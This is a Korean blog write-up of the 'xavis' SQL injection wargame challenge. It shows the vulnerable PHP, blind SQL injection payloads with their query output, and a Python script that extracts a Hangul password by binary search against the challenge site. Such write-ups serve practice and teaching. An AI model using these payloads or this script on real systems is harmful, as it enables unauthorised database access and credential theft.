반응형

 

 

 

문제 소스 : 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/regex|like/i'$_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'== $_GET['pw'])) solve("xavis"); 
  highlight_file(__FILE__); 
?>
cs

 

 

  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis"); 

 

blind sqli 로 pw값을 구해내야 한다.

 

 

 

 

query : select id from prob_xavis where id='admin' and pw='1'or'1'='1' and length(pw) = 12#'

 

 

pw의 길이는 12이다.

 

 

 

 

 

 

blind sqli를 했는데 아래 범위에서 일치하는게 나오지 않았다..

string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="

 

 

 

 

그래서 범위를 123에서 255로 잡고 코드를 수정하여 다시 돌렸다.

 

 

그래도 안나왔다. 왜 그런가 보니...

 

query : select id from prob_xavis where id='admin' and pw='1' or '1'='1' and ord(mid(pw,1,1))>255#'


 

Hello admin

 

오우.. 255를 넘는다. 

 

500도 넘고 1000도 넘고..

 

 

 

유니코드인거 같아서

유니코드 한글 범위 AC00 - D7AF를 확인해 봤다.

 

 

query : select id from prob_xavis where id='admin' and pw='1' or '1'='1' and ord(mid(pw,1,1))>44032#'


 

Hello admin

 

query : select id from prob_xavis where id='admin' and pw='1' or '1'='1' and ord(mid(pw,1,1))<55215#'


 

Hello admin

 

 

44032와 55215 사이 범위임을 알 수 있었다.

 

그럼 이제 각 자리마다 11000개 가량을 시도해야한단 소리인데..

 

 

 

 

이진탐색을 이용해서 시도 횟수를 줄여야 할 것 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import urllib
import urllib2
import sys
import time
 
 
def binary_search_recursion(start, end , i):
    if start > end:
        return start
 
    mid = (start + end) // 2
 
    data = blind_sqli(mid, i)
 
    if "Hello admin" in data:
        start = mid + 1
        print mid
    else:
        end = mid - 1
 
    return binary_search_recursion(start, end, i)
 
def blind_sqli(val, i):
    payload = "1' or '1'='1' and ord(mid(pw,"+str(i+1)+",1))>"+str(val)+"#"
    payload = urllib.quote(payload)
    url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw="+payload
 
    print url
 
    opener = urllib2.build_opener(urllib2.HTTPHandler)
    request = urllib2.Request(url)
    request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
    request.add_header('Cookie''PHPSESSID=cookie')
    request.get_method = lambda:'GET'
    data = opener.open(request)
    data = data.read()
 
    return data
 
key = ""
for i in range(0,3):
    k = binary_search_recursion(44032,55215, i)
    key+=str(hex(k))
print key
 
cs

 

코드를 쓱싹하고 짰다.

 

유니코드로 바꿔주면(0x -> %u) 한글 3글자가 나오는데 그걸 pw로 넘겨주면 된다.

반응형

+ Recent posts